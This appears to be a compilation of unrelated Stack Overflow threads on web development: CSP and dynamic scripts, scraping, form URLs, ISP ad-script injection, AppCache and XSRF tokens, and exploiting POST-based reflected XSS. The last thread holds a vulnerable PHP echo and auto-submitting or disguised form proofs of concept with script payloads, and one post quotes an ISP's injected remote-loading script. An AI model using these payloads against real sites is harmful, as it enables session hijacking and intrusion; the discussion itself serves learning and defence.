The Content-Security-Policy header is, in theory, awesome. In practice, I've run into a problem. If a page loads the CSP and later you, for example, load a login page dynamically, the JS files for that page must have already been included. Because even if the login page uses an absolute URL which matches the domain the index page is from (And is set in the CSP for script-src), it will prevent it from loading.
When I used a nonce to try to circumvent this, the same issue arose, but it was intermittent. Sometimes it would let the same-nonce javascript file load in, and sometimes it wouldn't.
In case it's unclear, the dynamically-loaded script triggers CSP's idea of an "unsafe-inline script."
Is there a 100% effective way to load dynamic JS/CSS files with a strong CSP?
Freeform code example:
index.php:
<?php Header("Content-Security-Policy: default-src 'none'; script-src 'self' https://example.com"); ?>
<script src="triggerLogin.js"></script>
Login
<div class="futureLoginPage"></div>
triggerLogin.js: (CSP Allows)
$('.loginLink').on('click', function(event)
{
$('.futureLoginPage').load('/login.php');
event.stopPropagation();
event.preventDefault();
return false;
});
login.php:
<script src="https://example.com/loginFormVerify.js" type="text/javascript"></script>
<input type="text" class="user" placeholder="Username" />
<input type="text" class="pass" placeholder="Password" />
<input type="button" class="send" value="Send" />
<div class="authStatus"></div>
loginFormVerify.js: (CSP Forbids)
$('.send').on('click', function()
{
post("/verification.php", { user: $('.user').val(), pass: $('.pass').val() }, function(data)
{
$('.authStatus').html(data);
});
});
It doesn't matter if I use https://example.com/ in the 'post' functions, as CSP doesn't even load the loginFormVerify.js file, let alone check its contents.
In reverse, it doesn't matter if I remove https://example.com/ from the JS script sources to let it resolve to its own understanding of the domain. It still fails.
It doesn't matter if I add type="text/javascript" or type="application/javascript" to one or both of the tags, either. And as mentioned above, a nonce only intermittently helps on a dynamically-loaded JS file sent from the server.
While we're at it, it doesn't matter if I have ' ' around the domain name in the header.
Also, I can remove the </script> tags and use the below to the exact same result:
<script src="..." />
I've attempted the above connection style on Safari, Chrome and Firefox with identical results. Safari and Chrome on mobile as well.
I'm aware one workaround is to condense all JS functionality into a single file at the index.php level, but I'm curious if there's a way to handle this some other way.
I make no guarantees that the above example code works in any capacity and recognize the above snippet is far from best practice.
The point of the above code is exclusively to provide an example of how CSP fails to provide a desired result in a dynamic environment, for the purposes of the question:
Is there a 100% effective workaround without reducing CSP's useful nature, other than preloading all scripts (Which can be harmful to speed, maintenance, bandwidth, and -- for those that care -- SEO)?
Related
I'm hoping to use the following snippet in a scraper to pull stats from remote radios on a network:
var request = require('request');
var radioURL = '192.10.1.65';
request.get({
url: pageURL
}, (error, response, html) => {
console.log(html);
The console outputs the following html:
<html>
<head>
<link rel="stylesheet" type="text/css" href="2.22.css">
<script type="text/javascript" src="2.22.js">"></script>
</head>
<body onLoad="show('viewPage=10');">
<div id="logo"><img src="logo.jpg"></div>
<div id="menu"></div>
<div id="reboot"><center><input type="button" value="Reboot" onclick="javascript:show('reboot=1');"></center></div>
<div id="info"></div>
<div id="header"></div>
<div id="content"></div>
</body>
The payload I'm interested in parsing out resides in the div tag with id='content'. Inside there is a form, and inside the form is a table with all the data I'm after. The image below shows an inspection of the page expanded to see 'Voltage' with a corresponding value inside of td tags. I've tried different combos of headers in request, as well as timeouts thinking that network latency was part of the issue. How do I get to elements below the div element?
Thanks.
inspection of elements below div element
A call to request.get() retrieves the RAW HTML that the web server sends to the browser. That's what you get. If you do View/Source in the browser while looking at that page, this is the same thing you will see then.
If the web page is constructed such that it uses Javascript to add content to the page, then you will NOT see that new content with request.get() because no Javascript is run when retrieving data with request.get(). You are just doing an HTTP request to the server and getting the raw page content back.
If you want access to the content that is added via Javascript, then you need to use what is often called a "headless browser" that can fetch the RAW HTML, run the Javascript in the page and give you a DOM-like interface for accessing the content that was inserted with the Javascript.
You can see a listing of headless browser modules that you can use in nodejs here: https://github.com/dhamaniasad/HeadlessBrowsers. I don't have personal experience with any of them, but the ones I see mentioned the most here on stack overflow are Nightmare, X-Ray and PhantomJS.
For site scraping, i am a massive advocate of x-ray. It's well documented, but in your case you would basically go
xray('http://192.10.1.65', 'form-elements-you-are-targetting')(fn)
https://github.com/matthewmueller/x-ray
It's very, very, good.
I have a simple form of this type
<form name="keywords" action="www.mydomain.com:6161/articles" method="post">
<input type="text" name="keyword" />
<input type="submit" name="submit" value="Submit" />
</form>
The Express 4 routes for handling the form post, is as follows
app.post('/articles', routes.article.keyword);
The actual route file has the following
exports.keyword = function(req,res,next){
res.send(req.body.keyword);
};
Based on the above circumstances, when I post the form in the browser, I see a page “The address wasn’t understood”.
But, if I use relative URL in the form action i.e.,
It works perfect. Why so?
Because in reality, I sometimes may have to post data to a different domain or URL altogether.
I will post my comment as an answer as it helped.
In order for the action to work, you need to either specify full url, that include schema:
<form name="keywords" action="http://www.example.com/articles" method="post">
Or you can just use a relative url:
<form name="keywords" action="/articles" method="post">
a relative path is one not starting with a / (forward-slash)... generally, this will attempt to load from the current url's base dir (you can set this in html, though the browsers default to the 'dirname' of the url (e.g. 'img/something.gif' on a page at '/some/path/index.html' will fetch it from /some/path/img/something.gif').
an absolute path is one starting with a /. it will be loaded using the same schema, host and optionally, port,user, etc (full url syntax: scheme:[//[user:password#]host[:port]][/]path[?query][#fragment]... read more here: https://en.wikipedia.org/wiki/Uniform_Resource_Locator).
a full url is one starting with a schema (http/https/ftp,etc...)... however (this comes in handy): if you're going to be using the same schema (which keeps your site's security score high), you can skip it, along with the colon.
e.g.: while viewing a site from 'https://blah.net', and attempting to load a resource from google (analytics maybe), you can reference it as:
'//google.com/path/to/whatever'
this will use https if the page was loaded over https, or http if not... keeps you from having to determine the scheme that was used when rendering the page.
My website gets injected by a script like this:
<script>function netbro_cache_analytics(fn, callback) {setTimeout(function()
{fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var
idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r
= Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-
ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "¶ms=" +
"4TtHaUQnUEiP6K%2fc5C582Ltpw5OIinlRZ3f35Ig3RToKRLvWLwn6zEfnHRgrVr0WVf09gsyzoppB6HQ
lZs1%2bvVlaBJErvk4yTApvNxVRroJE3Sak6whXVhS8NtL5WQQ7xqk%2fl%2beEqRKsRzR0FuA%2bMRbKp
Tz%2fh8pwQUsZzPSHlUJaQ5eWnpe41LMxALmGAJ7wR93fB809%2b3BMdyLrPSeRjoat5eXfxM8hB8cF8FA
%2fADZ9XefsIT5mcIatvUYk00Cx89VQVB9oihM6lthSHZK76HYE2yVlBaqYl8N8lJpYpl3bTDK3nTOnpcZ
H07XEZDdhweI6oHkutA8rENrMv64HLRLfn%2fIH2yN7Q3C4Ly7sE6g9%2fkyUxZo0IvZ4NsUcBJwZ10Joo
9f63JGGYp%2bn8ZXG%2bI%2bHpuDri0qeXDPamxLkuhbs1gXAgx6ZSwZXm4940rBN97J6uiaXdZCyDo4ms
n2R%2f7i6CjiMCM66JMRM0RtI%2b4dRfZ2L78M%2bMB5T63xl0aYzBPpcoJFnNp75TozLX0wVNH7ZQLMIm
mchINjLEKPqXmlxC6kjQXWZiXrRa0nXtRY%2bUvCvz6huwCvSs3W8GNolSQ%3d%3d" +
"&idc_r="+idc_glo_r + "&domain="+document.domain +
"&sw="+screen.width+"&sh="+screen.height;var bsa =
document.createElement('script');bsa.type = 'text/javascript';bsa.async =
true;bsa.src = url;(document.getElementsByTagName('head')
[0]||document.getElementsByTagName('body')
[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){ });</script>
</body>
</html>
u-ad.info belongs to the company who manages my ISP (TELKOM). I have complained with them but it will never solve the problem. I'm using WordPress. How do I clean that script or block that script injection?
Bad ISP! :D
You cannot clean that script because it is injected when it pass through your ISP server. You can only block it on browser level. Read this https://askubuntu.com/q/64303/224951. It's a pity that all your website visitor who use the same ISP will get the same injected page.
I think Google won't blacklist your site because certainly it is not using your ISP thus don't see the injected script.
Change the body tag to uppercase.
My experiment shows that the script injector look specifically for the presence of body tag written in lower case.
Although, I'm not sure how long it will stay that way though.
See my solution at http://www.kaskus.co.id/thread/5491671f0e8b46ff29000007/mengakali-script-injeksi-spidol-as-a-web-developer
just change
</body>
to
</Body>
There is a very simple method to prevent script injecting works.
Just add this script right before </body> tags.
<script>
//</body>
</script>
This image show before and after using.
Before use:
After use:
If you use wordpress, just make sure you installed plugin to allow you write that script in your footer section.
Just do this before ISP TELKOM know.
Updated: Telkom ISP already detected if </body></html> inside a comment.
My solution:
no </body></html> at all
Let the browser close the tag it self
Already tested and it worked as December 2018
Thank you
based on my experience, you can use https protocol or use this tricks to avoid load script from your ISP :P
<!-- </body></html> -->
Add code above, above your 'real' </body></html> tag, let's do it!
Use HTTPS (if provided by server), or using VPN/SSH Tunneling/Secure Proxy. So all problems will be clean. The ISP injected the ads and analytic scripts, by extract all compression, injecting and not compress-back the data. It will make additional charge for your internet connection quota.
Insert code below in head or end of HTML.
<script type="text/javascript">
$(document).ready(function(){
$('body').append("</bo"+"dy>");
});
</script>
But make sure that your HTML code doesn't contain </body> end tag and includes jQuery in your <head> tag.
Example:
Full HTML
<html>
<title>Foo bar</title>
<head></head>
<body>Lorem Ipsum</body>
</html>
becoming
<html>
<title>Foo bar</title>
<head>
<script src=”https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js”></script>
</head>
<body>Lorem Ipsum
<script type="text/javascript">
$(document).ready(function(){
$('body').append("</bo"+"dy>");
});
</script>
</html>
without </body> end tag. The HTTP filter on ISP will grep the </body> or </Body> or whatever <body> closing tag then inject JavaScript code before <body> closing tag so that their ads will appear on any website that uses the HTTP protocol.
I have a problem about changing the main page, I use Tornado, and in Tornado, there is a special value which is generated everytime the server is reached, it is a token to avoid xsrf attack, but when I use .appcache file, the problem is that it caches everything! and I only show to cache static like css, js, fonts, here is what it contains:
CACHE MANIFEST
# v = 2
/static/css/meteo.css
/static/css/semantic.min.css
/static/js/jquery-2.1.1.min.js
/static/css/main.css
/static/js/semantic.min.js
/static/js/geo.js
/static/js/meteo.js
/static/fonts/icons.woff2
/static/fonts/icons.woff
/static/fonts/WeatherIcons-Regular.woff
NETWORK:
/
FALLBACK:
It doesent work, the / get cached!
So how to do this with new Framework, where it we dont make the html file in the route, but the uri that is bound to a function/class?
Here is a video I made about it
And it seems that the master is always cached :
Update: From this page, it is noway!
But, you say, why don’t we not cache the HTML file, but cache all the rest.
Well. AppCache has a concept of “master entries”. A master entry is an HTML file that includes a manifest attribute in the html element that points to a manifest file (which is the only way to create an HTML5 appcache BTW). Any such HTML file is automatically added to the cache. This makes sense a lot of the time, but not always. In particular, when an HTML document changes frequently, we won’t want it cached (as a stale version of the page will most likely be served to the user as we just saw).
Is there no way to over-ride this? Well, AppCache has the idea of a
NETWORK whitelist, which instructs the appcache to always use the
online version of a file. What if we add HTML files we don’t want
cached to this? Sorry, no dice. HTML files in a master entry stay
cached, even when included in the NETWORK whitelist. See what I mean.
Poor AppCache didn’t make these rules. He’s just following them
literally. He’s not a douchebag, he’s a pain in the %^&*, a total
“jobs-worth”.
I got the solution from here:
I made a hack.html which contains:
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>Hack 4 Manifest</title>
</head>
<body>
{% raw xsrf_form_html() %}
</body>
</html>
And then
Add this in the main page:
<iframe style='display: none;' src='/hack'></iframe>
And then in Tornado:
(r"/hack", handlers.Hack),
class Hack(MainHandler):
#tornado.gen.coroutine
def get(self):
self.render("hack.html")
And then I use the javascript call:
xsrf = $("iframe").contents().find("input").val()
$("#laat").html('<input id="lat" type="hidden" name="lat"></input><input type="hidden" name="_xsrf" value='+xsrf+'><input id="lon" type="hidden" name="lon"></input><input class="ui fluid massive yellow button" value="Get forecast" type="submit"/>');
Examine this example. It is in PHP, but you should be able to pick up what is happening if you don't know PHP.
echo 'You searched for "' . $_GET['q'] . '"';
Now, obviously, this is a bad idea, if I request...
http://www.example.com/?q=<script type="text/javascript">alert('xss');</script>
OK, now I change that GET to a POST...
echo 'You searched for "' . $_POST['q'] . '"';
Now the query string in the URL won't work.
I know I can't use AJAX to post there, because of same domain policy. If I can run JavaScript on the domain, then it already has security problems.
One thing I thought of is coming across a site that is vulnerable to XSS, and adding a form which posts to the target site that submits on load (or, of course, redirecting people to your website which does this). This seems to get into CSRF territory.
So, what are the ways of exploiting the second example (using POST)?
Thanks
Here is an xss exploit for your vulnerable code. As you have aluded to, this is an identical attack pattern to POST based CSRF. In this case i am building the POST request as a form, and then I call .submit() on the form at the very bottom. In order to call submit, there must be a submit type in the form. The post request will immediately execute and the page will redirect, it is best to run post based csrf of exploits in an invisible iframe.
<html>
<form id=1 method="post" action="http://victim/vuln.php">
<input type=hidden name="q" value="<script>alert(/xss/)</script>">
<input type="submit">
</form>
</html>
<script>
document.getElementById(1).submit();//remote root command execution!
</script>
I also recommended reading about the sammy worm and feel free to ask any questions about other exploits I have written.
All I would need to do to exploit this is to get a user to click a form that sends a tainted "q" post variable. If I were being all nasty-like, I wouldcraft a form button that looks like a link (or even a link that gets written into a form POST with Javascript, sort of like how Rails does its link_to_remote stuff pre-3.0).
Imagine something like this:
<form id="nastyform" method="post" action="http://yoururl.com/search.php">
<input type="submit" value="Click here for free kittens!">
<input type="hidden" name="q" value="<script>alert('My nasty cookie-stealing Javascript')</script>" />
</form>
<style>
#nastyform input {
border: 0;
background: #fff;
color: #00f;
padding: 0;
margin: 0;
cursor: pointer;
text-decoration: underline;
}
</style>
If I can get a user to click that (thinking that he's clicking some innocent link), then I can post arbitrary data to the search that then gets echoed into his page, and I can hijack his session or do whatever other nasty things I want.
Post data isn't inherently more secure than get data; it's still user input and absolutely cannot be trusted.
CSRF attacks are a different class of attack, where some legitimate action is initiated without the permission of the user; this has the same sort of entry vector, but it's a classic XSS attack, designed to result in the injection of malicious Javascript into the page for the purpose of gaining session access or something similarly damaging.